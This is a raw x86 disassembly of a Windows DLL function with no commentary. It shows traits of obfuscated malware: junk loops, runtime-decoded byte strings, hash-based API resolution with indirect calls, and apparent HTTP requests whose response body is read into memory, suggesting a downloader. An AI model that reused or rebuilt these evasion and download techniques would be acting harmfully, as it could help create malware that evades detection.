cmp dword [ebp - 0x30], 0xc
jg 0x100326f3
push 0x49ac
push 0x2c5d
push ebx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x1f0], ebx
push eax
lea eax, [ebp - 0x44]
mov edx, 0x3e8a
push eax
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x30]
push eax
push ecx
lea eax, [ebp - 0x74]
push eax
call fcn.10031145
push 0x71dc
push ebx
mov edx, 0x640c
call fcn.10030bbb
add esp, 0x2c
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xc
push 1
pop ecx
jle 0x1003269e
push 2
pop edx
mov dword [ebp - 0x30], ebx
jmp 0x10032712
mov dword [ebp - 0x44], ebx
jmp 0x1003270a
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x1d4], ebx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edx
jl 0x100326fd
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe6
jge 0x100326f8
xor eax, eax
mov dword [ebp - 0x2c0], 7
mov word [ebp - 0x2d4], ax
lea ecx, [ebp - 0x2d4]
lea eax, [ebp - 0x590]
mov dword [ebp - 0x2c4], ebx
push eax
call fcn.100235cd
mov byte [ebp - 4], 0x1b
lea edi, [ebp - 0x590]
push 0x13
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x20], 0x76aa
cmp dword [ebp - 0x20], 0x797e
jle 0x100327c4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], 0x178a
mov edi, dword [ebp - 0x14]
mov esi, ebx
mov ebx, dword [ebp - 0x18]
mov eax, ebx
mov ecx, 0x10070c18
and eax, esi
and eax, edi
cdq
push edx
push eax
call fcn.1000bb2c
inc esi
cmp esi, 0x7366
jl 0x1003277e
mov edi, dword [ebp - 0x28]
add ebx, edi
dec dword [ebp - 0x24]
push 0
mov dword [ebp - 0x18], ebx
pop ebx
jne 0x10032776
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x13b
jl 0x1003276c
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x562e
jl 0x10032769
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x20], 0x72f7
jge 0x100327fe
mov edx, str.fnx_urylcua_rhviawye_ihzb_sjz_fvdzpq_wbwoxuflv_mbunv_zau_cqpbznvwx
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x100327fe
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x1c], 0x1460
cmp dword [ebp - 0x1c], 0x167a
jle 0x1003287c
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x28], 0x44cc
mov dword [ebp - 0x24], eax
mov edi, eax
mov dword [ebp - 0x18], 0x347a
mov esi, edi
mov ebx, 0x5392
mov eax, esi
mov ecx, 0x10070c18
cdq
push edx
push eax
call fcn.1000bb2c
inc esi
dec ebx
jne 0x1003283b
dec edi
dec dword [ebp - 0x18]
jne 0x10032834
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
add eax, ecx
dec dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
jne 0x1003282b
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x3012
jl 0x1003281f
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x20], 0x8a87013d
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x1c], 0x1217
jge 0x100328c0
mov edx, str.hhtve_tsycqkjuk_rzshshkoo_mqk_fhl_mhzl_tclriry
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x100328c0
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x14], ebx
jmp 0x100328dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f0], 0x40d7f825
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100328cc
mov dword [ebp - 0x20], ebx
jmp 0x1003299f
push dword [ebp - 0x170]
movdqa xmm0, xmmword [0x10064ae0]
lea eax, [ebp - 0x3c4]
push eax
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x1ec], ebx
push eax
push ebx
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1e8], ebx
movdqu xmmword [ebp - 0x3d4], xmm0
mov dword [ebp - 0x1e4], ebx
call fcn.1000f24e
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x14], ebx
jmp 0x10032947
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a8], 0x2a727599
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10032936
mov ecx, dword [ebp - 0x1ec]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 4
mov dword [ebp + eax*4 - 0x3f0], 1
jl 0x10032956
mov dword [ebp - 0x1a8], ebx
jmp 0x10032984
push ecx
mov dl, 1
call fcn.10030f46
inc dword [ebp - 0x1a8]
pop ecx
cmp dword [ebp - 0x1a8], 3
jle 0x10032975
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0x1b
call fcn.1000be91
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x100328eb
mov dword [ebp - 0x24], 0x6182eac4
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x28], 0x9565e08c
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x264], ebx
mov dword [ebp - 0x260], ebx
push 1
call fcn.1000be0e
push 1
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0x21
push eax
lea eax, [ebp - 0x35c]
mov dword [ebp - 0x18], 0xf29acd40
push eax
push 0x5dbf
push 0x33fe
push ecx
push 0x588a
push 0x61fd
push ecx
push ecx
mov dword [ebp - 0x18], 0x331c587c
mov edx, 0x34ff
mov ecx, 0x25e1
call fcn.1003095e
mov eax, dword [ebp - 0x24]
add esp, 0x28
inc dword [ebp - 0x18]
mov ecx, 0xd777
mov eax, dword [ebp - 0x240]
mov dword [eax], ecx
mov dword [ebp - 0x26c], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x264]
sub ecx, edx
mov dword [eax], edx
mov eax, dword [ebp - 0x24]
add eax, ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x1b
call fcn.1000be91
push 8
pop eax
push 0x2d
mov byte [ebp - 0x149], al
mov ecx, ebx
mov byte [ebp - 0x142], al
pop eax
push 2
mov dword [ebp - 0x15c], 0x50255518
mov dword [ebp - 0x158], 0x30f4f16
mov dword [ebp - 0x154], 0x761e011c
mov word [ebp - 0x150], 0x7515
mov byte [ebp - 0x14e], bl
mov dword [ebp - 0x14d], 0x44a1048
mov dword [ebp - 0x148], 0x107091a
mov word [ebp - 0x144], 0x720b
mov dword [ebp - 0x141], 0x6721175
mov dword [ebp - 0x13d], 0x12020302
mov dword [ebp - 0x139], 0x1b050277
mov dword [ebp - 0x135], 0x226e0e75
mov word [ebp - 0x131], 0x146f
mov byte [ebp - 0x12f], bl
mov dword [ebp - 0x12e], 0x4197624
mov dword [ebp - 0x12a], 0x17d34203
mov byte [ebp - 0x126], 0x21
mov byte [ebp - 0x125], bl
mov dword [ebp - 0x124], 0xa1f030d
mov dword [ebp - 0x120], 0x19130d1d
mov dword [ebp - 0x11c], 0x70c1d05
mov dword [ebp - 0x118], 0x7f010e20
mov dword [ebp - 0x114], 0x68090317
mov dword [ebp - 0x110], 0x7b0a6f23
mov word [ebp - 0x510], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0x32
jne 0x10032b7f
push 4
pop ecx
push 0x34
mov dword [ebp - 0x164], ecx
pop esi
jmp 0x10032bda
movzx edx, byte [ebp + esi - 0x15b]
mov eax, esi
sub eax, ecx
push 0x733c
push ebx
push 0x48cc
movzx eax, byte [ebp + eax - 0x15e]
push ebx
push 0x1378
movzx eax, word [ebp + eax*2 - 0x540]
mov ecx, eax
and eax, edx
or ecx, edx
mov dl, 1
sub ecx, eax
movzx eax, byte [ebp + esi - 0x15c]
mov word [ebp + eax*2 - 0x540], cx
lea ecx, [ebp - 0x164]
call fcn.10030e33
mov ecx, dword [ebp - 0x164]
add esp, 0x14
add esi, 2
cmp esi, 0x50
jb 0x10032b6c
xor eax, eax
mov dword [ebp - 0x294], 7
mov word [ebp - 0x4f4], ax
lea ecx, [ebp - 0x2a8]
mov word [ebp - 0x2a8], ax
lea eax, [ebp - 0x540]
push eax
mov dword [ebp - 0x298], ebx
call fcn.100235cd
push 0x13
pop ecx
mov byte [ebp - 4], 0x22
lea edi, [ebp - 0x540]
xor eax, eax
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x310]
stosw word es:[edi], ax
call fcn.1000be0e
push 2
pop esi
push esi
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x23
call fcn.1000be0e
xor eax, eax
mov byte [ebp - 4], 0x24
inc eax
mov dword [ebp - 0x18], 0xfffffffb
push eax
mov dword [ebp - 0x18], eax
mov edx, 0x71af
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x310]
push 0x1d21
push eax
push ecx
lea eax, [ebp - 0x218]
push eax
call fcn.10031034
lea eax, [ebp - 0x218]
xor dl, dl
push eax
lea eax, [ebp - 0x358]
push eax
push 0x713b
call fcn.10030ab2
mov dword [ebp - 0x18], ebx
add esp, 0x20
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x10032cac
push ecx
mov cl, 1
call fcn.10030b6a
pop ecx
lea ecx, [ebp - 0x358]
call fcn.1000be91
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], 0x22
call fcn.1000be91
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10032cd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10032cce
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x10032f59
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x378]
push 1
call fcn.1000be0e
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x25
push eax
push 0x40a1
push 1
push 0x4659
push 0x3a63
push 0x1c99
push 0x7120
push 1
mov dword [ebp - 0x18], 0x815c87e1
lea edx, [ebp - 0x378]
mov dword [ebp - 0x18], 0x58e58409
mov cl, 1
push 0x2fd0
call fcn.10031145
mov dword [ebp - 0x18], 0x3b02
add esp, 0x24
cmp dword [ebp - 0x18], 0x3cba
jle 0x10032d7b
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10070c18
cdq
push edx
push eax
call fcn.1000bb2c
inc edi
cmp edi, 0x735b
jl 0x10032d56
inc esi
cmp esi, 0x73d
jl 0x10032d54
mov byte [ebp - 4], 0x26
cmp dword [ebp - 0x18], 0x381a
jge 0x10032db5
mov edx, str.mjzzcnas_pqse_auz_cpesv_mwsg_clfbwzpwm_ynp_sfnglb_gcpainu_pyg_fawrto_supnoypyj
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x10032db5
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x4c], ebx
jmp 0x10032dd2
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x32c], 7
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 1
jl 0x10032dc1
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x10032f42
push 2
pop esi
mov dword [ebp - 0x14], 0x708ef6b8
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x18], 0x1e28
push 3
call fcn.1000be0e
lea eax, [ebp - 0x168]
mov byte [ebp - 4], 0x28
push eax
mov dword [ebp - 0x24], 0x9949
lea edx, [ebp - 0x24c]
push 1
call fcn.10030bbb
mov dword [ebp - 0x14], ebx
pop ecx
pop ecx
cmp dword [ebp - 0x14], esi
jg 0x10032eb5
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x5c], eax
jle 0x10032e4e
cmp dword [ebp - 0x20], ebx
je 0x10032e4e
xor edi, edi
inc edi
jmp 0x10032e50
mov edi, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
push 8
mov ecx, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sete dl
xor ecx, ecx
cmp edi, eax
mov eax, 0x38e8
setge cl
sub eax, ecx
sub eax, edx
imul eax, dword [ebp - 0x20]
pop ecx
cmp ecx, eax
sbb ecx, ecx
xor eax, eax
inc ecx
add ecx, dword [ebp - 0x18]
cmp ecx, 0xfffffff6
mov ecx, dword [ebp - 0x24]
setge al
mov dword [ecx + 4], eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x64]
cmp eax, edx
sete cl
mov dword [ebp - 0x5c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10032e3c
mov eax, dword [ebp - 0x1c]
xor edx, edx
push ebx
mov ecx, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
mov eax, dword [ebp + eax*4 - 0x64]
add eax, esi
sub edx, eax
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
mov ecx, dword [ebp + eax*4 - 0x64]
inc edx
mov eax, dword [ebp - 0x1c]
sub ecx, edx
xor edx, edx
push ecx
push ecx
mov dword [ebp + eax*4 - 0x64], ecx
mov eax, dword [ebp - 0x24c]
cmp ecx, dword [eax]
mov eax, 0xa3f0aeac
mov ecx, 0x3d59
sete dl
add edx, 0xffff
neg edx
sbb edx, edx
neg edx
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0xee879096
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], eax
call fcn.100313d5
add esp, 0xc
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x24c]
call fcn.1000be91
dec dword [ebp - 0x20]
jns 0x10032deb
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0x22
call fcn.1000be91
dec dword [ebp - 0x1c]
jmp 0x10032ce1
mov dword [ebp - 0x1c], 0xe
jmp 0x10033020
mov dword [ebp - 0x14], 0xa65d264a
mov dword [ebp - 0x18], 0x14f82999
mov dword [ebp - 0x20], ebx
jmp 0x10032f89
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x284], 0x61339852
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10032f78
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, 1
setge cl
xor edx, edx
mov dword [ebp - 0x278], ecx
mov eax, dword [ebp - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x280]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
add edx, 0xa
mov dword [ebp - 0x60], edx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe6
jne 0x10032f65
push 8
pop esi
cmp dword [ebp - 0x2c0], esi
lea ecx, [ebp - 0x410]
push ecx
lea eax, [ebp - 0x2d4]
mov edi, 0x2d2a
cmovae eax, dword [ebp - 0x2d4]
push eax
push 0xa7b3
push edi
call fcn.1002259d
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100335b8
cmp dword [ebp - 0x294], esi
lea ecx, [ebp - 0x400]
push ecx
lea eax, [ebp - 0x2a8]
cmovae eax, dword [ebp - 0x2a8]
push eax
push 0xa7b3
push edi
call fcn.1002259d
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100335b8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x410]
push eax
push 3
push ebx
lea eax, [ebp - 0x400]
push eax
push 0xa7b3
push 0x945a
call fcn.1002259d
pop ecx
pop ecx
call eax
test eax, eax
js 0x100335b8
cmp dword [ebp - 0x3c], 0
je 0x100335b8
push 0x6638
push ebx
push 0x5f1f
lea eax, [ebp - 0x3b4]
mov dl, 1
push 1
push eax
mov ecx, 0x42b0
call fcn.10030e33
add esp, 0x14
mov dword [ebp - 0x70], 0x1101a202
xor eax, eax
mov byte [ebp - 0x6c], bl
mov word [ebp - 0x3ac], ax
mov ecx, ebx
mov dword [ebp - 0x6b], 0x2b2a0322
push 0x74
pop eax
push 2
mov byte [ebp - 0x67], 0xb8
mov word [ebp - 0x180], ax
pop esi
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x20], esi
cmp esi, 0xa
jae 0x1003326c
movzx eax, byte [ebp - 0x70]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10033212
movzx eax, byte [ebp + esi - 0x70]
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x14], 0x2fc6
cmp dword [ebp - 0x14], 0x3048
jle 0x100331bc
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x24], 0x54ad
mov dword [ebp - 0x18], eax
mov ebx, eax
mov edi, 0x6069
mov eax, ebx
mov ecx, 0x10070c18
and eax, esi
cdq
push edx
push eax
call fcn.1000bb2c
dec ebx
dec edi
jne 0x1003317c
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x28]
add eax, edi
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
jne 0x10033175
inc edi
mov dword [ebp - 0x28], edi
push 0
pop ebx
cmp edi, 0xc54
jl 0x10033169
inc esi
cmp esi, 0x1898
jl 0x10033166
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
dec eax
mov byte [ebp - 4], 0x29
add esi, eax
cmp dword [ebp - 0x14], 0x2c00
mov dword [ebp - 0x18], esi
jge 0x100331e1
mov edx, str.pfezk_ozznsmwkg_qizqb_cqenwywq_osakcsid_cpxd_mxbj_fnrxdc_xknkhs_paee_tdc_suybf_syyeh
mov ecx, 0x10070c18
call fcn.1000e878
mov dword [ebp - 4], 0x22
jmp 0x1003325e
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, ecx
push 0x5bb
push ebx
push 1
movzx eax, byte [ebp + eax - 0x72]
push ebx
push 0x12e5
movzx eax, word [ebp + eax*2 - 0x184]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x612
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
mov word [ebp + eax*2 - 0x184], cx
lea ecx, [ebp - 0x17c]
call fcn.10030cb2
add esp, 0x14
mov ecx, dword [ebp - 0x17c]
add esi, 2
jmp 0x10033126
xor eax, eax
mov dword [ebp - 0x1b8], 7
mov word [ebp - 0x17e], ax
lea ecx, [ebp - 0x1cc]
mov word [ebp - 0x1cc], ax
lea eax, [ebp - 0x184]
push eax
mov dword [ebp - 0x1bc], ebx
call fcn.100235cd
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1cc]
mov eax, dword [ebp - 0x1bc]
push 8
pop edi
cmp dword [ebp - 0x1b8], edi
push dword [ebp - 0x168]
cmovae ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x1fc], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f8], ebx
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1f4], ebx
cmovae ecx, dword [ebp - 0x1cc]
push eax
push ecx
lea ecx, [ebp - 0x1fc]
call fcn.100340c0
push 1
lea edx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x2c
call fcn.10031347
pop ecx
mov ecx, dword [ebp - 0x78]
mov esi, dword [ecx + 0x14]
cmp esi, edi
jb 0x1003331f
mov edx, dword [ecx]
jmp 0x10033321
mov edx, ecx
mov eax, dword [ecx + 0x10]
lea eax, [edx + eax*2]
cmp esi, edi
jb 0x1003332d
mov ecx, dword [ecx]
push dword [ebp - 0x168]
mov dword [ebp - 0x1e0], ebx
push eax
push ecx
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
call fcn.100340c0
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 0x2d
push eax
xor dl, dl
call fcn.10030c08
cmp dword [ebp - 0x1b8], edi
lea edx, [ebp - 0x1cc]
lea esi, [ebp - 0x36c]
mov eax, dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x1cc]
sub esp, 0xc
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x36c]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3b4]
push dword [ebp - 0x1e0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1003357e
mov esi, dword [ebp - 0x190]
mov cl, 1
mov dword [ebp - 0x160], ebx
cmp esi, dword [ebp - 0x18c]
je 0x1003341d
add esi, 0x18
test cl, cl
je 0x10033405
push 8
pop eax
cmp dword [esi + 0x14], eax
jb 0x100333e5
mov edi, dword [esi]
jmp 0x100333e7
mov edi, esi
cmp dword [esi - 4], eax
jb 0x100333f1
mov edx, dword [esi - 0x18]
jmp 0x100333f4
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x3c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10033407
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x18c]
jne 0x100333d5
test cl, cl
je 0x1003357e
mov eax, dword [ebp - 0x3c]
lea esi, [ebp - 0x36c]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1003357e
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x160]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1003357e
cmp dword [ebp - 0x160], 0x130
je 0x10033471
cmp dword [ebp - 0x160], 0xc8
jne 0x1003357e
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x420]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1003357e
mov esi, dword [ebp - 0x418]
mov dword [ebp - 0x198], esi
test esi, esi
je 0x1003357e
mov eax, dword [esi]
lea ecx, [ebp - 0x5e8]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1003355d
mov eax, dword [ebp - 0x5e0]
mov edx, 0x2317
mov dword [ebp - 0x7c], eax
mov ecx, 0x76b1
lea eax, [ebp - 0x7c]
push eax
push 1
push 1
lea eax, [ebp - 0x1b4]
push ebx
push eax
call fcn.10030cb2
mov edi, dword [ebp - 0x7c]
mov eax, ebx
add esp, 0x14
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x174], eax
add eax, dword [ebp - 0x1b4]
lea edx, [ebp - 0x16c]
mov ecx, dword [esi]
push edx
push edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1003353b
push ebx
lea eax, [ebp - 0x174]
push eax
push 0x496f
push ecx
push 0x7a52
lea edx, [ebp - 0x16c]
call fcn.10031034
sub edi, dword [ebp - 0x16c]
add esp, 0x14
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x7c]
jb 0x100334f0
push 1
push 0x219e
push ecx
push ecx
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x174]
call fcn.100313a6
add esp, 0x18
push 0x843
lea eax, [ebp - 0x198]
mov dl, 1
push 0x23e8
push eax
call fcn.10030ab2
add esp, 0xc
mov dword [ebp - 0x198], ebx
push 1
push ecx
push ecx
lea ecx, [ebp - 0x3c]
call fcn.100313d5
add esp, 0xc
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x1e0]
call fcn.1000cb13
lea ecx, [ebp - 0x1fc]
call fcn.1000cb13
push ebx
push 1
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x22
call fcn.1000c799
push 0xa7b3
push 0x101fd
call fcn.1002259d
pop ecx
pop ecx
call eax
mov dword [ebp - 0x20], 0x9fdf99ff
mov dword [ebp - 0x28], 0x654
cmp dword [ebp - 0x28], 0x908
jle 0x10033642
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], 0x6e81
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x4a8]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003360f
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a8]
call fcn.1000c5c5
inc edi
cmp edi, 0x13a6
jl 0x100335f3
dec esi
dec dword [ebp - 0x18]
jne 0x100335f1
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x6665
jl 0x100335e7
mov dword [ebp - 0x14], ebx
jmp 0x10033658
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x274], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10033647
cmp dword [ebp - 0x28], 0x3c3
jge 0x10033672
push str.iaggv_cpauir_ooxux
call fcn.10040493
pop ecx
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x20], 0x16
jmp 0x10033737
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1003372a
mov dword [ebp - 0x1c], 0xb7161ab6
mov dword [ebp - 0x18], 0x22b60780
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], ebx
jl 0x10033727
push dword [ebp - 0x168]
movdqa xmm0, xmmword [str.6qe_r6qe_r6qe_r6qe_r]
lea eax, [ebp - 0x3b4]
push eax
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x20c], ebx
push eax
push ebx
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x208], ebx
movdqu xmmword [ebp - 0x3c4], xmm0
mov dword [ebp - 0x204], ebx
call fcn.1000f24e
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x274]
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20c]
mov eax, dword [ecx]
cmp eax, dword [ecx + 0xc]
lea ecx, [ebp - 0x20c]
setl dl
mov dword [ebp - 0x18], edx
call fcn.1000be91
dec dword [ebp - 0x1c]
jns 0x100336aa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x19
jge 0x10033690
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jge 0x10033685
mov ecx, dword [ebp - 0x200]
lea eax, [ebp - 0x1b4]
push eax
call fcn.10033999
push ebx
push 1
lea ecx, [ebp - 0x2a8]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0x2d4]
call fcn.1000c799
lea ecx, [ebp - 0x190]
call fcn.10033a4e
lea ecx, [ebp - 0x1b4]
call fcn.10033b1e
lea ecx, [ebp + 8]
call fcn.10033a4e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret